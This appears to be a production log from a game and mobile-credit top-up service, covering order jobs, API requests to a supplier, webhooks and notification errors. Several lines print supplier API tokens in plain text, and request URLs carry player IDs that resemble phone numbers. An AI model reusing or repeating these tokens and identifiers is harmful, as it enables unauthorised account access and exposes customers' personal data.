[2026-03-24 13:08:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:08:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"count":1} 
[2026-03-24 13:08:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"count":1} 
[2026-03-24 13:08:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"user_id":1526,"notification_type":"order_approved","reference_id":178641} 
[2026-03-24 13:08:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:08:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:08:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"processed":1,"errors":0} 
[2026-03-24 13:08:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"processed":1,"errors":0} 
[2026-03-24 13:08:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566} 
[2026-03-24 13:08:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1526  
[2026-03-24 13:08:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3XSz-1774346689","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:08:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-3XSz-1774346689","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:08:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:08:06] production.ERROR: Order not found or already processed. External ID: ORD-3XSz-1774346689  
[2026-03-24 13:08:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3XSz-1774346689","status":"completed","codes_count":0} 
[2026-03-24 13:08:10] production.INFO: Constructing job for order: 178644  
[2026-03-24 13:08:13] production.INFO: Handling job for order: 178644  
[2026-03-24 13:08:13] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:08:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:08:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e8784488-75d5-4fe8-80d1-d618bf8c7d3d&Player_ID=0941358966  
[2026-03-24 13:08:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e8784488-75d5-4fe8-80d1-d618bf8c7d3d&Player_ID=0941358966","has_body":false} 
[2026-03-24 13:08:13] production.INFO: Operation sent successfully {"operation_id":163568,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LSYNy5mq-1774346893","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:08:13"}},"processed_data":{"order_number":"ORD-LSYNy5mq-1774346893","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:08:15] production.INFO: Constructing job for order: 178645  
[2026-03-24 13:08:16] production.INFO: Handling job for order: 178645  
[2026-03-24 13:08:16] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:08:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:08:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=8982ae1b-e04c-4d1c-8dc1-42f44a585790&Player_ID=0941358966  
[2026-03-24 13:08:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=8982ae1b-e04c-4d1c-8dc1-42f44a585790&Player_ID=0941358966","has_body":false} 
[2026-03-24 13:08:17] production.INFO: Operation sent successfully {"operation_id":163569,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-99Xm-1774346897","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:08:17"}},"processed_data":{"order_number":"ORD-99Xm-1774346897","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:08:22] production.INFO: Constructing job for order: 178646  
[2026-03-24 13:08:23] production.INFO: Handling job for order: 178646  
[2026-03-24 13:08:23] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:08:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:08:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=f6f8eb60-1638-48e0-bc97-c16a0e6c7d06&Player_ID=0941358966  
[2026-03-24 13:08:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=f6f8eb60-1638-48e0-bc97-c16a0e6c7d06&Player_ID=0941358966","has_body":false} 
[2026-03-24 13:08:24] production.INFO: Operation sent successfully {"operation_id":163570,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-n6i-1774346904","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:08:24"}},"processed_data":{"order_number":"ORD-n6i-1774346904","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:09:19] production.INFO: Constructing job for order: 178647  
[2026-03-24 13:09:21] production.INFO: Handling job for order: 178647  
[2026-03-24 13:09:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:09:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:09:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=e6733e64-52bd-4a51-baca-2dfd86a7a534&Player_ID=0934462165  
[2026-03-24 13:09:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=e6733e64-52bd-4a51-baca-2dfd86a7a534&Player_ID=0934462165","has_body":false} 
[2026-03-24 13:09:22] production.INFO: Operation sent successfully {"operation_id":163571,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xAQiRC-1774346961","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:09:22"}},"processed_data":{"order_number":"ORD-xAQiRC-1774346961","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01"} 
[2026-03-24 13:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","total_operations":4,"sites_count":1} 
[2026-03-24 13:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","orders_count":4,"order_ids":["ORD-LSYNy5mq-1774346893","ORD-99Xm-1774346897","ORD-n6i-1774346904","ORD-xAQiRC-1774346961"]} 
[2026-03-24 13:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 13:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"processed":4,"skipped":0,"updates_prepared":4} 
[2026-03-24 13:10:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 13:10:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"count":4} 
[2026-03-24 13:10:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"count":4} 
[2026-03-24 13:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"user_id":587,"notification_type":"order_approved","reference_id":178645} 
[2026-03-24 13:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"user_id":587,"notification_type":"order_approved","reference_id":178644} 
[2026-03-24 13:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"user_id":587,"notification_type":"order_approved","reference_id":178646} 
[2026-03-24 13:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"user_id":587,"notification_type":"order_approved","reference_id":178647} 
[2026-03-24 13:10:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:10:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:10:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"processed":4,"errors":0} 
[2026-03-24 13:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571,"processed":4,"errors":0} 
[2026-03-24 13:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"M0XFonENY88uvrSDYCLhIDestgp5FTrA","execution_time":"2026-03-24 13:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xAQiRC-1774346961","operation_id":163571} 
[2026-03-24 13:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 13:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 13:10:03] production.INFO: async() رجع: true  
[2026-03-24 13:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:10:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:10:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:10:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:10:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:10:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:10:06] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:10:07] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:10:09] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:10:11] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:10:22] production.INFO: Constructing job for order: 178648  
[2026-03-24 13:10:22] production.INFO: Constructing job for order: 178649  
[2026-03-24 13:10:24] production.INFO: Handling job for order: 178649  
[2026-03-24 13:10:24] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:10:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:10:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=3fe7f521-4a7c-471a-97bb-ab97f75b8f50&Player_ID=0982337909  
[2026-03-24 13:10:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=3fe7f521-4a7c-471a-97bb-ab97f75b8f50&Player_ID=0982337909","has_body":false} 
[2026-03-24 13:10:24] production.INFO: Operation sent successfully {"operation_id":163572,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-O8ZFNB-1774347024","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:10:24"}},"processed_data":{"order_number":"ORD-O8ZFNB-1774347024","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:10:24] production.INFO: Handling job for order: 178648  
[2026-03-24 13:10:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:10:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:10:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=d511c07b-fe62-4fb8-86c6-e21696a22e65&Player_ID=6588207860  
[2026-03-24 13:10:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=d511c07b-fe62-4fb8-86c6-e21696a22e65&Player_ID=6588207860","has_body":false} 
[2026-03-24 13:10:25] production.INFO: Constructing job for order: 178650  
[2026-03-24 13:10:25] production.INFO: Operation sent successfully {"operation_id":163573,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eYa-1774347025","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:10:25"}},"processed_data":{"order_number":"ORD-eYa-1774347025","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:10:28] production.INFO: Handling job for order: 178650  
[2026-03-24 13:10:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:10:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:10:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=7ebfe4a6-859d-416e-940f-600553e9d47d&Player_ID=6588207860  
[2026-03-24 13:10:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=7ebfe4a6-859d-416e-940f-600553e9d47d&Player_ID=6588207860","has_body":false} 
[2026-03-24 13:10:29] production.INFO: Operation sent successfully {"operation_id":163574,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-QCg3-1774347029","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:10:29"}},"processed_data":{"order_number":"ORD-QCg3-1774347029","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:10:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-eYa-1774347025","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:10:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-eYa-1774347025","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:10:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:10:51] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178648} 
[2026-03-24 13:10:51] production.INFO: Order updated successfully. Order ID: 178648, Status: completed  
[2026-03-24 13:10:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-eYa-1774347025","status":"completed","codes_count":0} 
[2026-03-24 13:10:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 13:11:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-QCg3-1774347029","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:11:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-QCg3-1774347029","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:11:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:11:03] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178650} 
[2026-03-24 13:11:03] production.INFO: Order updated successfully. Order ID: 178650, Status: completed  
[2026-03-24 13:11:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-QCg3-1774347029","status":"completed","codes_count":0} 
[2026-03-24 13:11:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 13:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02"} 
[2026-03-24 13:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","total_operations":1,"sites_count":1} 
[2026-03-24 13:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-O8ZFNB-1774347024"]} 
[2026-03-24 13:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 13:12:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:12:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"count":1} 
[2026-03-24 13:12:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"count":1} 
[2026-03-24 13:12:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"user_id":770,"notification_type":"order_approved","reference_id":178649} 
[2026-03-24 13:12:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:12:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:12:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"processed":1,"errors":0} 
[2026-03-24 13:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572,"processed":1,"errors":0} 
[2026-03-24 13:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YLxeO8OCiys0vJl6VLIlcGOOcuiqdfqy","execution_time":"2026-03-24 13:12:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-O8ZFNB-1774347024","operation_id":163572} 
[2026-03-24 13:12:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 13:14:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k5BY4aet5OFNppiJcUxYvfkCHdiI0Fbo","execution_time":"2026-03-24 13:14:03"} 
[2026-03-24 13:14:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"k5BY4aet5OFNppiJcUxYvfkCHdiI0Fbo","execution_time":"2026-03-24 13:14:03"} 
[2026-03-24 13:14:18] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158171810","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php7dkcep7gj31qbUbUx5j"}},"user_id":1285} 
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:14:21] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:14:21] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18609,"user_id":1285,"amount":1000.0,"admins_notified":7} 
[2026-03-24 13:14:38] production.INFO: Constructing job for order: 178652  
[2026-03-24 13:14:39] production.INFO: Handling job for order: 178652  
[2026-03-24 13:14:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:14:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:14:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=ae7948b6-d984-4ffe-bbc0-c2032be24c98&Player_ID=471156  
